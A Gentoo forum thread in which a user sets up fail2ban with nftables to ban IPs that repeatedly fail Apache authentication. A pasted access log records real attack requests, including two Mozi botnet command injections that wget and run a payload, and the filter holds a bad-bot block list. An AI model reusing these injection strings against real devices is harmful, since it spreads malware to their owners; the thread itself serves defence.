Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
[Solved] Banning IPs in Apache using fail2ban
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index Networking & Security
View previous topic :: View next topic  
Author Message
lyallp
Veteran
Veteran


Joined: 15 Jul 2004
Posts: 1557
Location: Adelaide/Australia

PostPosted: Mon Jun 07, 2021 4:31 am    Post subject: [Solved] Banning IPs in Apache using fail2ban Reply with quote

I have managed to get fail2ban configured and running.
The fail2ban log file shows that an IP is a candidate for banning and logs that it is already banned.
However, Apache continues to receive requests from said IP.
I am using ipset and my jail is configured as...
Code:
[apache-auth]

enabled  = true
port     = http,https
logpath  = /var/log/apache2/error_log
findtime = 86400
bantime  = -1
maxretry = 5

with a filter as follows (whoops, wrong copy/paste in previous edit, fixed now)
Code:
[Definition]
 
badagents = 360Spider|ZmEu|Auto Spider 1.0|zgrab/[0-9]*\.[0-9a-zA-Z]*|Wget\(.*\)|MauiBot.*|AspiegelBot.*|SemrushBot.*|PHP/.*
 
ignoreregex = ^<HOST>.*"GET /olde-distfiles.*" (200|301) .*$
              ^<HOST>.*"GET /cgi-bin/GenerateRSS.py.*" 200 .*$

failregex = ^<HOST> -.*"(GET|POST|HEAD).*HTTP.*(?:%(badagents)s)"$
       ^<HOST> -.*".*" 401 .*$
            ^.+auth_basic:error.*client <HOST>:.*$

The 2nd is apache access_log format, 3rd filter line is in apache error_log format, so the filter works on either. I am only interested in multiple login failures (at this time)

Kernel version 5.10.27
Apache version 2.4.46
fail2ban version 0.11.2
nftables version 0.9.8

Any assistance, such that Apache does not even receive the requests from the banned IP, would be appreciated.
Requests for additional info, welcomed.
_________________
...Lyall


Last edited by lyallp on Wed Jun 09, 2021 8:33 am; edited 2 times in total
Back to top
View user's profile Send private message
lyallp
Veteran
Veteran


Joined: 15 Jul 2004
Posts: 1557
Location: Adelaide/Australia

PostPosted: Mon Jun 07, 2021 9:56 am    Post subject: Reply with quote

I have setup iptables. Still no go.
Ditched iptables and am looking at nftables.
Will report back when I get nftables set up with fail2ban.
_________________
...Lyall
Back to top
View user's profile Send private message
lyallp
Veteran
Veteran


Joined: 15 Jul 2004
Posts: 1557
Location: Adelaide/Australia

PostPosted: Wed Jun 09, 2021 8:31 am    Post subject: Reply with quote

Using nftables, configured as instructed at https://wiki.meurisse.org/wiki/Fail2Ban, I have the firewall (nftables) blocking IP's as determined by fail2ban.

Goodbye IP 89.248.165.182 which has been performing a dictionary attack on my apache server for the last few days, assuming my server is a Cisco router.

Fail2ban notes it as having failed login multiple times (as per my initial post) and bans the IP for a while. Unbaning it eventually, but it will be re-banned if the IP continues it's attempt.

This should reduce the size of my Apache access and error logs considerably. Can you tell I am a newbie at this?
_________________
...Lyall
Back to top
View user's profile Send private message
wouzer
Tux's lil' helper
Tux's lil' helper


Joined: 11 Feb 2003
Posts: 88
Location: The Hague, The Netherlands

PostPosted: Fri Jun 11, 2021 7:22 am    Post subject: Reply with quote

Hi, I have a gentoo server with apache and fail2ban running for some time.
What do your logs have to say? /var/log/fail2ban.log and /var/log/apache2/yoursite_error.log?

Also I wonder why you have set you bantime to -1 and your findtime on 86400. Find time is the time window for maxretry and shouldn't exeed bantime as far as I know.
try:

bantime=86400
maxretry=3
findtime=10m
_________________
It is better to keep your mouth closed and let people think you are a fool than to open it and remove all doubt. (Mark Twain)
Back to top
View user's profile Send private message
lyallp
Veteran
Veteran


Joined: 15 Jul 2004
Posts: 1557
Location: Adelaide/Australia

PostPosted: Fri Jun 11, 2021 7:33 am    Post subject: Reply with quote

Thanks for pointing that out, I have settings in [DEFAULT] and then in the [apache-auth] jail.
I quoted the jail, not the defaults, which had been mentioned somewhere else on the net.

My jail now has a findtime of 10m, bantime of 12h and a maxretry of 5.
In other words, if someone fails basic authentication 5 times within 10 minutes, they are banned for 12 hours.

I do not have authentication on my 'olde-distfiles' directory, but everything else requires basic authentication. Hence, there is no fail2ban log entry for this url as there is no login failure.

My only jail simply looks for 400 or 401 entries and has expressions which work with either error or access log format.

The two sample logs, below, are corresponding, you can see the rows in the access log and the corresponding row in the fail2ban log.

My access log looks like (prior to me updating my jail)
Code:

193.56.29.108 - - [11/Jun/2021:03:44:06 +0930] "GET /.env HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:07 +0930] "POST / HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:07 +0930] "GET /core/.env HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:08 +0930] "POST / HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:09 +0930] "GET /app/.env HTTP/1.1" 401 445
193.56.29.108 - - [11/Jun/2021:03:44:10 +0930] "POST / HTTP/1.1" 401 445
49.89.16.119 - - [11/Jun/2021:04:26:55 +0930] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 401 445
62.210.88.212 - - [11/Jun/2021:04:28:53 +0930] "GET http://104.149.194.78:80/ HTTP/1.1" 401 445
121.4.181.178 - - [11/Jun/2021:05:18:06 +0930] "GET / HTTP/1.1" 401 459
203.159.170.16 - - [11/Jun/2021:05:34:26 +0930] "GET /assets/jquery-file-upload/ HTTP/1.1" 401 445
31.210.20.100 - - [11/Jun/2021:05:35:33 +0930] "GET /cgi-bin/jarrewrite.sh" 404 255
189.127.145.184 - - [11/Jun/2021:05:38:16 +0930] "GET / HTTP/1.1" 401 445
161.35.136.97 - - [11/Jun/2021:06:16:08 +0930] "POST /fb16/fre.php HTTP/1.1" 401 445
31.210.20.100 - - [11/Jun/2021:07:05:36 +0930] "POST /storfs-asup HTTP/1.1" 400 285
159.65.24.210 - - [11/Jun/2021:08:33:25 +0930] "GET / HTTP/1.1" 401 445
1.15.175.155 - - [11/Jun/2021:09:03:40 +0930] "GET /olde-distfiles HTTP/1.1" 301 337
1.15.175.155 - - [11/Jun/2021:09:04:16 +0930] "GET /olde-distfiles HTTP/1.1" 301 337
1.15.175.155 - - [11/Jun/2021:09:04:32 +0930] "GET /olde-distfiles/ HTTP/1.1" 200 96230
188.150.66.117 - - [11/Jun/2021:09:09:40 +0930] "GET / HTTP/1.1" 401 445
91.134.183.114 - - [11/Jun/2021:09:29:54 +0930] "GET /.env HTTP/1.1" 401 445
91.134.183.114 - - [11/Jun/2021:09:29:55 +0930] "POST / HTTP/1.1" 401 445
27.213.172.153 - - [11/Jun/2021:09:39:21 +0930] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://27.213.172.153:59604/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 401 440
192.241.219.22 - - [11/Jun/2021:11:34:43 +0930] "GET / HTTP/1.1" 401 445
52.188.206.167 - - [11/Jun/2021:11:50:10 +0930] "HEAD /robots.txt HTTP/1.0" 401 -
185.202.2.147 - - [11/Jun/2021:12:16:16 +0930] "\x03" 400 285
180.242.19.234 - - [11/Jun/2021:13:18:18 +0930] "GET / HTTP/1.1" 401 445
188.244.218.206 - - [11/Jun/2021:13:52:05 +0930] "GET / HTTP/1.1" 401 445
157.230.224.245 - - [11/Jun/2021:15:18:45 +0930] "GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1" 401 445
193.118.53.202 - - [11/Jun/2021:15:58:08 +0930] "GET / HTTP/1.1" 401 445
18.184.155.204 - - [11/Jun/2021:16:46:05 +0930] "GET /olde-distfiles HTTP/1.1" 301 337
18.184.155.204 - - [11/Jun/2021:16:46:06 +0930] "GET /olde-distfiles/ HTTP/1.1" 200 2870030



My corresponding fail2ban log looks like (startup now, after tweaking jail settings)
Code:
2021-06-11 17:10:23,912 fail2ban.server         [32747]: INFO    Starting Fail2ban v0.11.2
2021-06-11 17:10:23,912 fail2ban.server         [32747]: INFO    Daemon started
2021-06-11 17:10:23,912 fail2ban.observer       [32747]: INFO    Observer start...
2021-06-11 17:10:23,947 fail2ban.jail           [32747]: INFO    Creating new jail 'apache-auth'
2021-06-11 17:10:23,948 fail2ban.jail           [32747]: INFO    Jail 'apache-auth' uses poller {}
2021-06-11 17:10:23,948 fail2ban.jail           [32747]: INFO    Initiated 'polling' backend
2021-06-11 17:10:23,951 fail2ban.filter         [32747]: INFO      maxRetry: 5
2021-06-11 17:10:23,951 fail2ban.filter         [32747]: INFO      findtime: 600
2021-06-11 17:10:23,951 fail2ban.actions        [32747]: INFO      banTime: 43200
2021-06-11 17:10:23,951 fail2ban.filter         [32747]: INFO      encoding: UTF-8
2021-06-11 17:10:23,952 fail2ban.filter         [32747]: INFO    Added logfile: '/var/log/apache2/access_log' (pos = 0, hash = 408352de277690312d01ddba24fc2f7c300d330c)
2021-06-11 17:10:23,952 fail2ban.jail           [32747]: INFO    Jail 'apache-auth' started

snip
fail2ban logs with my old settings (findtime huge, bantime -1), just to show what I see when things get found.
Code:
2021-06-11 03:44:06,671 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:06
2021-06-11 03:44:07,274 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:07
2021-06-11 03:44:07,876 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:07
2021-06-11 03:44:09,079 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:08
2021-06-11 03:44:09,682 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:09
2021-06-11 03:44:10,131 fail2ban.actions        [23039]: NOTICE  [apache-auth] Ban 193.56.29.108
2021-06-11 03:44:10,285 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.56.29.108 - 2021-06-11 03:44:10
2021-06-11 04:26:55,589 fail2ban.filter         [23039]: INFO    [apache-auth] Found 49.89.16.119 - 2021-06-11 04:26:55
2021-06-11 04:28:53,742 fail2ban.filter         [23039]: INFO    [apache-auth] Found 62.210.88.212 - 2021-06-11 04:28:53
2021-06-11 05:18:06,727 fail2ban.filter         [23039]: INFO    [apache-auth] Found 121.4.181.178 - 2021-06-11 05:18:06
2021-06-11 05:34:27,178 fail2ban.filter         [23039]: INFO    [apache-auth] Found 203.159.170.16 - 2021-06-11 05:34:26
2021-06-11 05:38:17,283 fail2ban.filter         [23039]: INFO    [apache-auth] Found 189.127.145.184 - 2021-06-11 05:38:16
2021-06-11 06:16:09,421 fail2ban.filter         [23039]: INFO    [apache-auth] Found 161.35.136.97 - 2021-06-11 06:16:08
2021-06-11 07:05:36,412 fail2ban.filter         [23039]: INFO    [apache-auth] Found 31.210.20.100 - 2021-06-11 07:05:36
2021-06-11 08:33:26,328 fail2ban.filter         [23039]: INFO    [apache-auth] Found 159.65.24.210 - 2021-06-11 08:33:25
2021-06-11 09:09:40,333 fail2ban.filter         [23039]: INFO    [apache-auth] Found 188.150.66.117 - 2021-06-11 09:09:40
2021-06-11 09:29:55,090 fail2ban.filter         [23039]: INFO    [apache-auth] Found 91.134.183.114 - 2021-06-11 09:29:54
2021-06-11 09:29:55,693 fail2ban.filter         [23039]: INFO    [apache-auth] Found 91.134.183.114 - 2021-06-11 09:29:55
2021-06-11 09:39:22,429 fail2ban.filter         [23039]: INFO    [apache-auth] Found 27.213.172.153 - 2021-06-11 09:39:21
2021-06-11 11:34:43,391 fail2ban.filter         [23039]: INFO    [apache-auth] Found 192.241.219.22 - 2021-06-11 11:34:43
2021-06-11 11:50:10,606 fail2ban.filter         [23039]: INFO    [apache-auth] Found 52.188.206.167 - 2021-06-11 11:50:10
2021-06-11 12:16:16,657 fail2ban.filter         [23039]: INFO    [apache-auth] Found 185.202.2.147 - 2021-06-11 12:16:16
2021-06-11 13:18:18,679 fail2ban.filter         [23039]: INFO    [apache-auth] Found 180.242.19.234 - 2021-06-11 13:18:18
2021-06-11 13:52:05,279 fail2ban.filter         [23039]: INFO    [apache-auth] Found 188.244.218.206 - 2021-06-11 13:52:05
2021-06-11 15:18:45,667 fail2ban.filter         [23039]: INFO    [apache-auth] Found 157.230.224.245 - 2021-06-11 15:18:45
2021-06-11 15:58:09,251 fail2ban.filter         [23039]: INFO    [apache-auth] Found 193.118.53.202 - 2021-06-11 15:58:08

_________________
...Lyall
Back to top
View user's profile Send private message
wouzer
Tux's lil' helper
Tux's lil' helper


Joined: 11 Feb 2003
Posts: 88
Location: The Hague, The Netherlands

PostPosted: Fri Jun 11, 2021 8:06 am    Post subject: Reply with quote

Hi,
For the bad guys trying to acces non existend scripts you will need the apache-noscript filter and for the 400 errors you might want the apache-nohome. Just enable them in your /etc/fail2ban/jail.d/custom.conf

You also might want apache-badbots and apache-overflow

Test if they are actualy running with:

Code:
fail2ban-client status


[/code]
_________________
It is better to keep your mouth closed and let people think you are a fool than to open it and remove all doubt. (Mark Twain)
Back to top
View user's profile Send private message
lyallp
Veteran
Veteran


Joined: 15 Jul 2004
Posts: 1557
Location: Adelaide/Australia

PostPosted: Fri Jun 11, 2021 8:17 am    Post subject: Reply with quote

Thanks for any and all feedback.

I thought I would catch non-existant cgi scripts with authentication being required on my cgi scripts directory. It appears to be not so.
Code:
<Directory "/var/www/localhost/cgi-bin">
    AllowOverride AuthConfig
    AuthType Basic
    AuthName "Login to Lyalls-PC Server"
    AuthBasicProvider file
    AuthUserFile  /usr/local/apache/localhost/.htpasswd
    AuthGroupFile /usr/local/apache/localhost/.htgroups
    Require valid-user
</Directory>


I ignore localhost IP addresses with an ignoreip in the [DEFAULT] section of the Jail config script. (127.0.0.1,192.168.0.0/16).
Code:
[DEFAULT]
ignoreip = 127.0.0.1/8 10.0.0.0/24 192.168.0.0/16
 

The bad bots are covered by the badagents expression in the filter, are they not?
Code:
[Definition]
 
badagents = 360Spider|ZmEu|Auto Spider 1.0|zgrab/[0-9]*\.[0-9a-zA-Z]*|Wget\(.*\)|MauiBot.*|AspiegelBot.*|SemrushBot.*|PHP/.*
 
ignoreregex = ^<HOST>.*"GET /olde-distfiles.*" (200|301) .*$
              ^<HOST>.*"GET /cgi-bin/GenerateRSS.py.*" 200 .*$

failregex = ^<HOST> -.*"(GET|POST|HEAD).*HTTP.*(?:%(badagents)s)"$
       ^<HOST> -.*".*" 40[01] .*$
            ^.+auth_basic:error.*client <HOST>:.*$

_________________
...Lyall
Back to top
View user's profile Send private message
wouzer
Tux's lil' helper
Tux's lil' helper


Joined: 11 Feb 2003
Posts: 88
Location: The Hague, The Netherlands

PostPosted: Fri Jun 11, 2021 9:26 am    Post subject: Reply with quote

Your initial complain was that the bad guys didn't end up blocked by the firewall. That does only happen if they actualy try to login and fail for five times with your current setup.
With the apache-noscript jail active bad guys requesting /wp-login.php on your non-wordpress website are also blocked. The apache-nohome blocks the guys trying to acces non existend pages like /wp-admin/. The apache-badbots blocks scrapers.

Please let us know if you got it working.
_________________
It is better to keep your mouth closed and let people think you are a fool than to open it and remove all doubt. (Mark Twain)
Back to top
View user's profile Send private message
lyallp
Veteran
Veteran


Joined: 15 Jul 2004
Posts: 1557
Location: Adelaide/Australia

PostPosted: Fri Jun 11, 2021 9:28 am    Post subject: Reply with quote

As far as I can see, things work, using ntp to examine the tables/chains and the logs of fail2ban.
_________________
...Lyall
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index Networking & Security All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum